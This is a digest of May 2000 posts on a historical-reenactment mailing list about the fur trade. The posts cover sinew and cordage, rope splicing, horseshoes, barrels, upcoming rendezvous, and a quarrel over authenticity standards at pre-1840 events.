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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 17:47:19 -0700

should have said- wanted to be somebody.  Oh well !
Pendleton
-----Original Message-----


Yep !  Nazis, Elitist, Wanabes, and someone making a fashion statement, hell
I always wanted to somebody.  Guess I should have been more specific.  <GG>
Pendleton
-----Original Message-----


Sorry Larry,
But you know how us nazis are....<G>
D



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From: <[e-mail]>
Subject: Re: MtMan-List: Un-shod Horses.
Date: 10 May 2000 17:30:32 -0600

Chance Tiffie wrote:

> Bluelodge,
> Seems to me there are many accounts of horseshoes, and the equipment needed
> to set them, going to the Rockies.  So much for un-shod horses.
> Funny thing about research, it made me quit using artificial sinew, but I
> get to shoe my mules.
>
> Cliff Tiffie
> PO Box 5089
> Durant, OK
> 74702
> 580-924-4187
> ---------------------
> Aux Aliments de Pays!
>
> ________________________________________________________________________
> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

   Depending on the ground conditions, have read of many just shoeing the front
feet only and using no shoes in the winter to save ice build up and accidents.
   Have done this for years with the 8-10 animals we had over a 15-18 year
period, rocks kept the hoofs wore down on the rear and took very little
trimming, plus with this number of horses it sure saved on shoeing bills every
6-7 weeks.

Later
Buck



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From: <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 17:32:33 -0600

"Paul W. Jones" wrote:

> Dennis, you forgot to mention the tiny teddy bear, the incense, prayer bells
> and so forth.
>
> ----- Original Message -----
> From: D Miles <[e-mail]>
> To: <[e-mail]>; <[e-mail]>
> Sent: Wednesday, May 10, 2000 11:35 AM
> Subject: Re: MtMan-List:was saw now its cordage
>
> > Walt Wrote:
> > > So what does D. camp look like?
> >
> >
> > Walt,
> >  Like a camp, a oilcloth tarp over the top if it is a pouring or snowing
> > like a banshee, or no cloth if natural shelter is available.  And nada
> when
> > it's nice. A couple a blankets or the robe. A tinned brass kettle and a
> > canteen usually.  My gun, bag and haversack laying around somewhere in
> > reach.A jug at some AMM doins. Nothin fancy. It is like that if I am by
> > myself, with Gwen,  in a big public doins or in the middle of no damned
> > where. What did you have in mind?
> > Dennis
> >
> > "Abair ach beagan is abair gu math e"
> >           DOUBLE EDGE FORGE
> >   Period Knives & Iron Accoutrements
> >    http://www.bright.net/~deforge1
> >   "Knowing how is just the beginning"
> >
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

you missed the lollipops Mr. Jones !!!



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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 19:41:24 -0400

HE also forgot the bunny slippers.... But I stole 'em from his camp.. He
said he bought 'em from some outfit called Clark & Son's....<G>

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: John Kramer <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 10 May 2000 18:34:15 -0500

--=====================_23635653==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Bill,

I've not done much but observe luzets.  The technique is the basis for
various forms of tube weaving by having circular areas defined by two to
many pegs on which the thread is worked around.  It could be called
crocheting in the round.  Isn't this pretty closely related to some tatting
techniques?

Someone who has used luzets may have a differing experience, I've given it
little attention because it appeared to me too much like a chain stitch
(like the awl-for-awl tools make, or the closing stitch on dog food bags)
where if any one thread breaks you lose the entire length.  I've always
considered it decorative.

John...


At 07:19 AM 5/10/00 -0600, you wrote:
>Wow! Thanks for the information! I am printing this and keeping it.
>Actually, I do carry a small coil of what we called (as kids) and I think
>it still is, squidding line in my pouch. Strange this is, I've never
>really used it. Strong as hell, round woven stuff from the fishermen on
>the coast of Maine. But thanks, John. It sounds like you have really
>worked this stuff out. What do you think of Buck's new cordage tool?
>Bill
>>-----Original Message-----
>>From: John Kramer <<mailto:[e-mail]>[e-mail]>
>>To: <mailto:[e-mail]>[e-mail]
>><<mailto:[e-mail]>[e-mail]>
>>Date: Wednesday, May 10, 2000 2:30 AM
>>Subject: Re: MtMan-List: Artificial Sinew (was saws)
>>
>>Bill,
>>
>>I see this differently.
>>
>>Why would you ever need a strand of sinew much over 12" long?  Nice if
>>you can get it but 6" works.
>>
>>Certainly not for sewing, splicing a bowstring is readily done; & sinew
>>is self gluing when used for serving strings, points and fletchings.
>>
>>Electrician's shooting line (aka, artificial sinew) is handy in long
>>lengths -- BUT -- how often do you really need to use it in long
>>lengths?  If you don't heat weld the knots, they come undone.
>>
>>For threads, snares, lines and every other kind of such -- many other
>>materials are useful as cordage, horse hair, bark, intestines, vines,
>>weeds, hides; all kinds of stuff makes cordage.  In todays mountains no
>>one is ever very far from a handy hunk of baling wire &/or twine which
>>can serve many needs, I figure it's fair to use what you find, so much we
>>find is different.  Field expedient drop spindles can be readily
>>fashioned and would be a skill a mother would have taught -- those born
>>to the period.
>>
>>Rawhide and sinew can be made to seize tighter and bind more securely
>>than any nylon fastening.
>>
>>How does a coil of nylon improve survivability over a small wad of easily
>>replaced sinew pieces?  Sinew comes free with meat, guts, hide, bone and
>>fat; other handy survival items.
>>
>>At best artificial sinew is a convenience.  It is not demonstrably
>>superior to real sinew for the purposes for which it is used.  It offers
>>no particular survival advantage other than convenience.
>>
>>I've used it but, could never find a real justification for it.  I
>>haven't been able to find my spool of it (1 spool lasts a lifetime) in
>>better than 15 years now.  Must have figured I wouldn't be needing it
>>when I put it away last.
>>
>>I use linen for convenience.  I have a spool of unwaxed 4 strand
>>twist.  For fine sewing I split lengths to two threads and re-spin the
>>thread on the turned drop spindle I use at home.  If I need a heavy
>>thread I untwist and spin together as many strands as is appropriate in
>>lengths suitable to the work.  You can buy the thread in varying numbers
>>of strands, in left or right hand twist, on each spool.  I find it
>>easiest to have one spool of unwaxed (for ease in reworking).  Wax it as
>>you work.
>>
>>If I need 5, 6, or ? strand -- I make it.  Sewing is slower if the thread
>>is too long.  36" of thread is only needed when doing a full saddle
>>stitch.  For all other sewing threads are best cut and used in shorter
>>lengths.  Use a second thread if needed, the work will progress with
>>greater ease when the thread isn't getting constantly tangled.
>>
>>I have a prepared ball of heavily waxed thread (1 1/4" +/- dia., in my
>>possibles, the little I've needed on the trail has made the one ball last
>>for years.  I have a small wad of sinew as well for the things it can do
>>linen and nylon cannot,.
>>
>>A convenient rock, or stick, or whatever (?) can serve to spin your
>>thread.  A made drop spindle is nice to have at home.  A spinning wheel
>>is a higher tech answer to do the same, useful if you really need to make
>>a lot of thread.
>>
>>At some point it is instructive to acquire some flax (or any other
>>spinable/twistable fiber) and try making thread and heavier cordage from
>>the beginning.  Braiding is another cordage skill.  Spun materials can be
>>re-spun and/or braided as best suits the work.
>>
>>Cordage is critical to survival.  From thread to rope the skills acquired
>>are complimentary and equally necessary.   A set of skills nearly as
>>important as fire.  Cordage can ease making fire if all you have is wood:
>>a bow drill is easier to use than a hand drill.
>>
>>The convenience of artificial sinew is seductive.  Using it risks not
>>learning all the lessons required for one to be certain.  It is about
>>being absolutely certain.
>>
>>John...
>>
>>Note: the spools of thread I refer to are the large commercial ones about
>>4" long and 3" in diameter.
>>
>>
>>
>>At 08:50 AM 5/9/00 -0600, you wrote:
>>>I was watching that antiques roadshow program one time and a guy brought
>>>in an Indian arrow quiver. It really looked nice and he was sure he had
>>>a pot of money. But the antique guy showed him that it was factory
>>>tanned leather, sewed with artificial sinew, which he explained was a
>>>hi-tech modern product. You could see the guy just wither. But it
>>>brought to mind a couple of questions. In true survival situations,
>>>would you be able to obtain enough sinew to take care of whatever it
>>>might be that you'd need it for? Since sinew is typically 12" long or
>>>less, and splicing it is tricky at best, would you carry 15 feet or so
>>>in your possibles pouch, or rather, perhaps, a small coil of artificial
>>>sinew which is infinitely long? Historical authenticity is great and a
>>>fine goal, but what if your life (or in some cases, your budget)
>>>depended on it?
>>>Bill C
>>
>>
>>Use it up, wear it out, make do, or do without.
>>John Kramer  <[e-mail]>

--=====================_23635653==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3>Bill,<br>
<br>
I've not done much but observe luzets.  The technique is the basis
for various forms of tube weaving by having circular areas defined by two
to many pegs on which the thread is worked around.  It could be
called crocheting in the round.  Isn't this pretty closely related
to some tatting techniques?<br>
<br>
Someone who has used luzets may have a differing experience, I've given
it little attention because it appeared to me too much like a chain
stitch (like the awl-for-awl tools make, or the closing stitch on dog
food bags) where if any one thread breaks you lose the entire
length.  I've always considered it decorative.  <br>
<br>
John...<br>
<br>
<br>
At 07:19 AM 5/10/00 -0600, you wrote:<br>
</font><blockquote type=cite cite><font size=2>Wow! Thanks for the
information! I am printing this and keeping it. Actually, I do carry a
small coil of what we called (as kids) and I think it still is, squidding
line in my pouch. Strange this is, I've never really used it. Strong as
hell, round woven stuff from the fishermen on the coast of Maine. But
thanks, John. It sounds like you have really worked this stuff out. What
do you think of Buck's new cordage tool?</font><font size=3><br>
</font><font size=2>Bill</font><font size=3><br>
</font><blockquote type=cite cite><font face="arial" size=2><b>-----Original
Message-----</b><br>
<b>From: </b>John Kramer
<<a href="mailto:[e-mail]">[e-mail]</a>><br>
<b>To:
</b><a href="mailto:[e-mail]">[e-mail]</a>
<<a href="mailto:[e-mail]">[e-mail]</a>><br>
<b>Date: </b>Wednesday, May 10, 2000 2:30 AM<br>
<b>Subject: </b>Re: MtMan-List: Artificial Sinew (was saws)<br>
<br>
</font><font size=3>Bill,<br>
<br>
I see this differently.<br>
<br>
Why would you ever need a strand of sinew much over 12" long?
Nice if you can get it but 6" works.<br>
<br>
Certainly not for sewing, splicing a bowstring is readily done; &
sinew is self gluing when used for serving strings, points and
fletchings.<br>
<br>
Electrician's shooting line (aka, artificial sinew) is handy in long
lengths -- BUT -- how often do you really need to use it in long
lengths?  If you don't heat weld the knots, they come undone.<br>
<br>
For threads, snares, lines and every other kind of such -- many other
materials are useful as cordage, horse hair, bark, intestines, vines,
weeds, hides; all kinds of stuff makes cordage.  In todays mountains
no one is ever very far from a handy hunk of baling wire &/or twine
which can serve many needs, I figure it's fair to use what you find, so
much we find is different.  Field expedient drop spindles can be
readily fashioned and would be a skill a mother would have taught --
those born to the period.<br>
<br>
Rawhide and sinew can be made to seize tighter and bind more securely
than any nylon fastening.  <br>
<br>
How does a coil of nylon improve survivability over a small wad of easily
replaced sinew pieces?  Sinew comes free with meat, guts, hide, bone
and fat; other handy survival items.<br>
<br>
At best artificial sinew is a convenience.  It is not demonstrably
superior to real sinew for the purposes for which it is used.  It
offers no particular survival advantage other than
convenience.   <br>
<br>
I've used it but, could never find a real justification for it.  I
haven't been able to find my spool of it (1 spool lasts a lifetime) in
better than 15 years now.  Must have figured I wouldn't be needing
it when I put it away last.<br>
<br>
I use linen for convenience.  I have a spool of unwaxed 4 strand
twist.  For fine sewing I split lengths to two threads and re-spin
the thread on the turned drop spindle I use at home.  If I need a
heavy thread I untwist and spin together as many strands as is
appropriate in lengths suitable to the work.  You can buy the thread
in varying numbers of strands, in left or right hand twist, on each
spool.  I find it easiest to have one spool of unwaxed (for ease in
reworking).  Wax it as you work.  <br>
<br>
If I need 5, 6, or ? strand -- I make it.  Sewing is slower if the
thread is too long.  36" of thread is only needed when doing a
full saddle stitch.  For all other sewing threads are best cut and
used in shorter lengths.  Use a second thread if needed, the work
will progress with greater ease when the thread isn't getting constantly
tangled.<br>
<br>
I have a prepared ball of heavily waxed thread (1 1/4" +/- dia., in
my possibles, the little I've needed on the trail has made the one ball
last for years.  I have a small wad of sinew as well for the things
it can do linen and nylon cannot,.  <br>
<br>
A convenient rock, or stick, or whatever (?) can serve to spin your
thread.  A made drop spindle is nice to have at home.  A
spinning wheel is a higher tech answer to do the same, useful if you
really need to make a lot of thread.<br>
<br>
At some point it is instructive to acquire some flax (or any other
spinable/twistable fiber) and try making thread and heavier cordage from
the beginning.  Braiding is another cordage skill.  Spun
materials can be re-spun and/or braided as best suits the work.<br>
<br>
Cordage is critical to survival.  From thread to rope the skills
acquired are complimentary and equally necessary.   A set of
skills nearly as important as fire.  Cordage can ease making fire if
all you have is wood: a bow drill is easier to use than a hand
drill.<br>
<br>
The convenience of artificial sinew is seductive.  Using it risks
not learning all the lessons required for one to be certain.  It is
about being absolutely certain.<br>
<br>
John...<br>
<br>
Note: the spools of thread I refer to are the large commercial ones about
4" long and 3" in diameter.<br>
<br>
<br>
<br>
At 08:50 AM 5/9/00 -0600, you wrote:<br>
</font><blockquote type=cite cite><font size=2>I was watching that
antiques roadshow program one time and a guy brought in an Indian arrow
quiver. It really looked nice and he was sure he had a pot of money. But
the antique guy showed him that it was factory tanned leather, sewed with
artificial sinew, which he explained was a hi-tech modern product. You
could see the guy just wither. But it brought to mind a couple of
questions. In true survival situations, would you be able to obtain
enough sinew to take care of whatever it might be that you'd need it for?
Since sinew is typically 12" long or less, and splicing it is tricky
at best, would you carry 15 feet or so in your possibles pouch, or
rather, perhaps, a small coil of artificial sinew which is infinitely
long? Historical authenticity is great and a fine goal, but what if your
life (or in some cases, your budget) depended on
it?</font><font size=3><br>
</font><font size=2>Bill C</blockquote><b><br>
</b></font><font size=3><br>
Use it up, wear it out, make do, or do without.<br>
John Kramer  <[e-mail]>
</font></blockquote></blockquote></html>

--=====================_23635653==_.ALT--


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-------------------------------------------------------------------------------

From: Todd <[e-mail]>
Subject: RE: MtMan-List: Re: Authenticity Nazis
Date: 10 May 2000 19:07:35 -0500

amen and well said.

> -----Original Message-----
> From: [e-mail]
> [mailto:[e-mail]]On Behalf Of
> [e-mail]
> Sent: Wednesday, May 10, 2000 3:24 AM
> To: [e-mail]
> Subject: Re: MtMan-List: Re: Authenticity Nazis
>=20
>=20
> ole---
> well put---remember this is a brotherhood here to help each =
other---NUFF
> SAID---CUT the BS---I have been slapped by the period pirots before =
and
> then went back with my documentation and proved them wrong---done my
> homework and was 5% smarter---lets get off of this subject all of us =
know
> its a tender one---we aint judgeing brothers---if a brother done wrong =
he
> is told politely and on a one to one basis---each has helped in that
> scenario before---I have even went and loaned stuff to a guy to help =
him
> be period correct if i could help him---
>=20
> lets shake hands and close this one out guys---
>=20
> YMHOSANT
>    =3D+=3D
> HAWK
> Michael Pierce        "Home of ".Old Grizz" Product line "  trademark =
(C)
> 854 Glenfield Dr.
> Palm Harbor florida 34684
> E-Mail: [e-mail]   Web site:=20
> http://www.angelfire.com/fl2/mpierce
>=20
> ________________________________________________________________
> YOU'RE PAYING TOO MUCH FOR THE INTERNET!
> Juno now offers FREE Internet Access!
> Try it today - there's no risk!  For your FREE software, visit:
> http://dl.www.juno.com/get/tagj.
>=20
> ----------------------
> hist_text list info: =
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>=20


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From: Todd <[e-mail]>
Subject: RE: MtMan-List: Re: Authenticity Nazis
Date: 10 May 2000 19:08:06 -0500

Yes and no.  Keep in mind that we see the historical records of the =
adult survivors.   Childhood injuries and disease were quite another =
story.  Child mortality was extremely high in centuries past, and still =
is in some parts of the world.  =20

That said, I've seen this argument before, only it was at an SCA event, =
and the more-authentic-than-thou crowd were annoying.   They'd have been =
less so had they been adhering to the level of authenticy they were =
browbeating others about, but that's another issue.  They DO have a =
legitimate point to make.   If you goal is to accurately depict a =
previous time, then do as much as you can.   Don't fudge it if you can =
avoid it.
At the same time, those who can approach that level, understand that =
some of us ain't there yet.  I'm not.  I'm trying, but I'm not there.
  If completely accurate re-enactment is not your goal, fine and dandy.
As I understand the AMM, they (I'm not a brother, I hope to be somewhere =
down the road, but I have a LOT to learn, and much to do) are dedicated =
to studying and preserving the lifestyles of those who came before.   =
Mayhaps our revered ancestors would have made do with nylon were it =
available.   Don't know.   I DO know it was NOT there.   So, if what you =
want is to attend the anything goes vous, enjoy!  Have a grand time!  I =
can see how some would enjoy that, I've been to one, and I have to admit =
I had a good time.   I stuck with my blankets and hides instead of an =
air mattress though, and my flint and steel instead of matches.  Nobody =
gave me any grief, so I won't give anyone any.=20

So, to those who want solid authenticity, help others like me to learn.  =
 Teach us what to work on without ripping on us for HONEST mistakes.
  Those who don't want that level of authenticity, understand where the =
others are coming from.   If an event is billed as pre-1840, stick with =
it.  If you DON'T want to do that, I'd suggest not going.    There's =
plenty of shoots that don't stick to the pre-1840 rule.

Sorry to preach, specially being a greenhorn, and a flatlander (I live =
in Missouri, it don't get much flatter I reckon, 'cept maybe Kansas =
=3D), but as I said, I saw this kinda feud when I did medieval =
re-enactment.   It ruined the events for everyone, and soured me toward =
something I had enjoyed.


Todd

> >Any broken bones?   They probably set wrong and you're a cripple.  =20
>     This is bullshit!!!  No one is saying we are running around=20
> with original
> bodies and outfits.  Some of us are saying that the more authentic to =
the
> original equipment you are, the more you can accurately recreate the
> past--and the more you can learn. =20
>     I don't know when tooth filling started, I've seen it in=20
> teeth from the
> late Vicotorian era.  Major surgery has been done without killing the
> patient since at least 1000 BC.  Most folks who had bones broken=20
> managed to
> get them set OK-too many healed fractures in the osteological record.
>     I've been shot, stabbed, beaten and broken too many times=20
> to believe your
> nonsense.  Like anyone with a lick of sense, I know that it ain't what =
the
> docs put in you that pulls you through--its what you can find inside.  =

> LongWalker c. du B.
>=20
>=20
>=20
> ----------------------
> hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html
>=20


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-------------------------------------------------------------------------------

From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: Re: MtMan-List cordage
Date: 10 May 2000 17:08:46 -0700

> If you are a group, and someone knows how to splice, then you can make
each
> man a "Ranger Rope"  This is a 6 foot piece of rope with a loop in one end
> and a toggle backspliced in the other end.  You put the toggle of your
> partners rope through the loop of your rope.  In an 8 man team, you can
> conveniently have 48 feet of useable rope distributed between the team.

Friends,

Now that you know how to make some rope the "Right Way"  <G> if you are
coming to the AMM Camp this summer in Idaho and don't know how to splice,
look me up. I'd be pleased as punch/shrub to show you how to do it. Back
splices, end splices loops, grommets, snells for your eyeless hooks and I'll
even through in a Turks head and some other proper sailor knots that will do
you proud. We'll sit down in the shade of a big old Idaho cedar with a cup
of shrub and rum from the sutlers tent, poured by some of the lovelyest
ladies this side of the Pacific shores and do a bit o' marlin spike
seamship. As always, I remain....

YMOS
Capt. Lahti'




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-------------------------------------------------------------------------------

From: "Glenn Darilek" <[e-mail]>
Subject: MtMan-List: Re: hist_text-digest V1 #539
Date: 10 May 2000 19:25:15 -0000

Capt. Lahti' wrote:

>Are you sure about rope twisting machines not being available during the
>Rendezvous time period? I remain...

By that I meant the compact machines that make continuous rope and roll it
up as it is made.  They did have machines in the rope walks to twist the
fibers and cords like you described, but to make a 100 fathom rope they had
to make it all in one 1000 foot line before they could put it on a roll.

I would recommend Mystic sea village to anyone who happens to travel near.
Worth a drive from Boston, Providence, or even NY City.  They have several
sailing ships, a cooper shop, woodcarving shop, blacksmith shop, etc..  I
learned a few sea chantys that I wailed around a rendezvous fire last
weekend too!

I learned something about barrels too.  They put solid things in barrels as
well as liquid things.  So why did they go to the expense of crafting a
barrell to hold something like nails when a wooden box would be easier to
make, and much cheaper.  So what is your answer?    ---   Final Answer?

YMOS
Glenn Darilek
Iron Burner


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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Re: hist_text-digest V1 #539
Date: 10 May 2000 20:55:33 EDT

In a message dated 5/10/00 5:24:25 PM Pacific Daylight Time, [e-mail]
writes:

> So why did they go to the expense of crafting a
>  barrell to hold something like nails when a wooden box would be easier to
>  make, and much cheaper.  So what is your answer?

Is it because heavy barrels could be rolled?         Barney

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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Re: hist_text-digest V1 #539
Date: 10 May 2000 21:00:49 EDT

In a message dated 5/10/00 5:24:25 PM Pacific Daylight Time, [e-mail]
writes:

> I learned something about barrels too.  They put solid things in barrels as
>  well as liquid things.  So why did they go to the expense of crafting a
>  barrell to hold something like nails when a wooden box would be easier to
>  make, and much cheaper.  So what is your answer?    ---   Final Answer?
It can be rolled?

Tom Laidlaw, web coordinator for <A
HREF="http://rutnut.com/octa/store/front.htm">OCTA's On-line Bookstore</A>

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-------------------------------------------------------------------------------

From: jerry derringer <[e-mail]>
Subject: MtMan-List: western rendezvous
Date: 10 May 2000 20:08:15 -0500

Am I mixed up or what? I thought there was a Western rendezvous in Montana next
year close to Glacier park. I just got a notice that NMLRA is going to have a
Western at Avery in Arizona in 2001.
need to get my fact straight, so I can plan vac for a Glacier park rondy??????
jd


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-------------------------------------------------------------------------------

From: Angela Gottfred <[e-mail]>
Subject: Re: MtMan-List: Un-shod Horses.
Date: 10 May 2000 13:13:07 -0600

Cliff Tiffie <[e-mail]> wrote:

>>Seems to me there are many accounts of horseshoes, and the equipment needed
to set them, going to the Rockies.  So much for un-shod horses.
Funny thing about research, it made me quit using artificial sinew, but I
get to shoe my mules.<<

I'd be interested in hearing more about this, because my reading into the
earlier Canadian fur trade period (1774-1821) has not yet turned up any
references to horseshoes; in fact, some of my primary references talk about
which kind of horses' hooves are the toughest, since they're not shod.

Your humble & obedient servant,
Angela Gottfred


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-------------------------------------------------------------------------------

From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 10 May 2000 20:45:17 -0700

Todd,
  I really hadn't intended to make anymore comments on this subject, but one
point you made is at the center of what riles me the most.  That is the fact
that most rendezvous are touted as being a " Pre 1840 Primitive Rendezvous
", and after you drive untold hours, you get there and the doins is complete
with hot dog stands powered by propane stoves, there are folks walking
around everywhere wearing blue jeans and sneakers (even though primitive
dress is required ), and some, but not all the traders are peddling flea
market junk and foreign made trinkets that don't have anything to do with
the Fur Trade.  The point you made about, if a event is pre-1840 then stick
with it, is right on.
  I really didn't intend to stir up a firestorm with my comments.  Honest I
didn't.  I just don't understand why everytime someone makes a comment about
things not being as they should at a lot of rendezvous they get ripped.  I
know everyone's perspective on what is authentic and appropriate is
different, and I respect that.  I know that everyone doesn't feel the need
to be as hard core as others, but at the first comment about the lack of
authenticity at rendezvous, we get labeled as Nazis, Wannabees, Fashion
Police, and ridiculed as being able to talk the talk but not able to walk
the walk even though most of you wouldn't know Dennis or me if we bit you on
the butt.
  With that I'll shut up, for now anyway.
Pendleton
-----Original Message-----


Yes and no.  Keep in mind that we see the historical records of the adult
survivors.   Childhood injuries and disease were quite another story.  Child
mortality was extremely high in centuries past, and still is in some parts
of the world.

That said, I've seen this argument before, only it was at an SCA event, and
the more-authentic-than-thou crowd were annoying.   They'd have been less so
had they been adhering to the level of authenticy they were browbeating
others about, but that's another issue.  They DO have a legitimate point to
make.   If you goal is to accurately depict a previous time, then do as much
as you can.   Don't fudge it if you can avoid it.
At the same time, those who can approach that level, understand that some of
us ain't there yet.  I'm not.  I'm trying, but I'm not there.
  If completely accurate re-enactment is not your goal, fine and dandy.
As I understand the AMM, they (I'm not a brother, I hope to be somewhere
down the road, but I have a LOT to learn, and much to do) are dedicated to
studying and preserving the lifestyles of those who came before.   Mayhaps
our revered ancestors would have made do with nylon were it available.
Don't know.   I DO know it was NOT there.   So, if what you want is to
attend the anything goes vous, enjoy!  Have a grand time!  I can see how
some would enjoy that, I've been to one, and I have to admit I had a good
time.   I stuck with my blankets and hides instead of an air mattress
though, and my flint and steel instead of matches.  Nobody gave me any
grief, so I won't give anyone any.

So, to those who want solid authenticity, help others like me to learn.
Teach us what to work on without ripping on us for HONEST mistakes.
  Those who don't want that level of authenticity, understand where the
others are coming from.   If an event is billed as pre-1840, stick with it.
If you DON'T want to do that, I'd suggest not going.    There's plenty of
shoots that don't stick to the pre-1840 rule.

Sorry to preach, specially being a greenhorn, and a flatlander (I live in
Missouri, it don't get much flatter I reckon, 'cept maybe Kansas =), but as
I said, I saw this kinda feud when I did medieval re-enactment.   It ruined
the events for everyone, and soured me toward something I had enjoyed.


Todd

> >Any broken bones?   They probably set wrong and you're a cripple.
> This is bullshit!!!  No one is saying we are running around
> with original
> bodies and outfits.  Some of us are saying that the more authentic to the
> original equipment you are, the more you can accurately recreate the
> past--and the more you can learn.
> I don't know when tooth filling started, I've seen it in
> teeth from the
> late Vicotorian era.  Major surgery has been done without killing the
> patient since at least 1000 BC.  Most folks who had bones broken
> managed to
> get them set OK-too many healed fractures in the osteological record.
> I've been shot, stabbed, beaten and broken too many times
> to believe your
> nonsense.  Like anyone with a lick of sense, I know that it ain't what the
> docs put in you that pulls you through--its what you can find inside.
> LongWalker c. du B.
>
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


----------------------
hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


----------------------
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-------------------------------------------------------------------------------

From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 10 May 2000 21:24:08 -0700

Todd,
  That last paragraph was not aimed at you personally.  Just blowing off
more steam.
Pendleton
-----Original Message-----


Todd,
  I really hadn't intended to make anymore comments on this subject, but one
point you made is at the center of what riles me the most.  That is the fact
that most rendezvous are touted as being a " Pre 1840 Primitive Rendezvous
", and after you drive untold hours, you get there and the doins is complete
with hot dog stands powered by propane stoves, there are folks walking
around everywhere wearing blue jeans and sneakers (even though primitive
dress is required ), and some, but not all the traders are peddling flea
market junk and foreign made trinkets that don't have anything to do with
the Fur Trade.  The point you made about, if a event is pre-1840 then stick
with it, is right on.
  I really didn't intend to stir up a firestorm with my comments.  Honest I
didn't.  I just don't understand why everytime someone makes a comment about
things not being as they should at a lot of rendezvous they get ripped.  I
know everyone's perspective on what is authentic and appropriate is
different, and I respect that.  I know that everyone doesn't feel the need
to be as hard core as others, but at the first comment about the lack of
authenticity at rendezvous, we get labeled as Nazis, Wannabees, Fashion
Police, and ridiculed as being able to talk the talk but not able to walk
the walk even though most of you wouldn't know Dennis or me if we bit you on
the butt.
  With that I'll shut up, for now anyway.
Pendleton
-----Original Message-----


Yes and no.  Keep in mind that we see the historical records of the adult
survivors.   Childhood injuries and disease were quite another story.  Child
mortality was extremely high in centuries past, and still is in some parts
of the world.

That said, I've seen this argument before, only it was at an SCA event, and
the more-authentic-than-thou crowd were annoying.   They'd have been less so
had they been adhering to the level of authenticy they were browbeating
others about, but that's another issue.  They DO have a legitimate point to
make.   If you goal is to accurately depict a previous time, then do as much
as you can.   Don't fudge it if you can avoid it.
At the same time, those who can approach that level, understand that some of
us ain't there yet.  I'm not.  I'm trying, but I'm not there.
  If completely accurate re-enactment is not your goal, fine and dandy.
As I understand the AMM, they (I'm not a brother, I hope to be somewhere
down the road, but I have a LOT to learn, and much to do) are dedicated to
studying and preserving the lifestyles of those who came before.   Mayhaps
our revered ancestors would have made do with nylon were it available.
Don't know.   I DO know it was NOT there.   So, if what you want is to
attend the anything goes vous, enjoy!  Have a grand time!  I can see how
some would enjoy that, I've been to one, and I have to admit I had a good
time.   I stuck with my blankets and hides instead of an air mattress
though, and my flint and steel instead of matches.  Nobody gave me any
grief, so I won't give anyone any.

So, to those who want solid authenticity, help others like me to learn.
Teach us what to work on without ripping on us for HONEST mistakes.
  Those who don't want that level of authenticity, understand where the
others are coming from.   If an event is billed as pre-1840, stick with it.
If you DON'T want to do that, I'd suggest not going.    There's plenty of
shoots that don't stick to the pre-1840 rule.

Sorry to preach, specially being a greenhorn, and a flatlander (I live in
Missouri, it don't get much flatter I reckon, 'cept maybe Kansas =), but as
I said, I saw this kinda feud when I did medieval re-enactment.   It ruined
the events for everyone, and soured me toward something I had enjoyed.


Todd

> >Any broken bones?   They probably set wrong and you're a cripple.
> This is bullshit!!!  No one is saying we are running around
> with original
> bodies and outfits.  Some of us are saying that the more authentic to the
> original equipment you are, the more you can accurately recreate the
> past--and the more you can learn.
> I don't know when tooth filling started, I've seen it in
> teeth from the
> late Vicotorian era.  Major surgery has been done without killing the
> patient since at least 1000 BC.  Most folks who had bones broken
> managed to
> get them set OK-too many healed fractures in the osteological record.
> I've been shot, stabbed, beaten and broken too many times
> to believe your
> nonsense.  Like anyone with a lick of sense, I know that it ain't what the
> docs put in you that pulls you through--its what you can find inside.
> LongWalker c. du B.
>
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


----------------------
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----------------------
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----------------------
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-------------------------------------------------------------------------------

From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: Re: hist_text-digest V1 #539
Date: 10 May 2000 19:00:14 -0700


> By that I meant the compact machines that make continuous rope and roll it
> up as it is made.  They did have machines in the rope walks to twist the
> fibers and cords like you described, but to make a 100 fathom rope they
had
> to make it all in one 1000 foot line before they could put it on a roll.

Iron Burner,

OK, I see what your talking about. They used rope machines like the Boy
Scouts and Cub Scout Dads use but had to do the rope Walk thing where you
make the rope in one long piece. Got'cha. <G>

I
> learned a few sea chantys that I wailed around a rendezvous fire last
> weekend too!

I'd love to hear you sing some sea chanty's around the fire. We have a small
Party out here, The Black River Party whose young members can sing some
great original drinking songs. I hope they are in fine form for the AMM
Western this summer in Idaho, cause it is a treat to hear them come to your
fire. Makes the ladies blush too. <G>

>
> I learned something about barrels too.  They put solid things in barrels
as
> well as liquid things.  So why did they go to the expense of crafting a
> barrell to hold something like nails when a wooden box would be easier to
> make, and much cheaper.  So what is your answer?    ---   Final Answer?

Final Answer? They are strong, can be moved regardless of how much they
weigh just by rolling. They pack into ship holds tighter than rectangles do.
They can be used to ship most anything be it liquid or solid. They require
no metal to make. They can be reused easily for other goods in the opposite
direction, etc. Though they are labor intensive to build, that is often the
better way in consideration of civilization and cultural conditions,
remember labor was cheaper than metal for much of early history. It can be a
cottage industry without the investment in tooling and dependence on other
suppliers (for the nails and the flat sawn wood used in boxes as an
example). Hope that helps answer the question. I remain....

YMOS
Capt. Lahti'




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-------------------------------------------------------------------------------

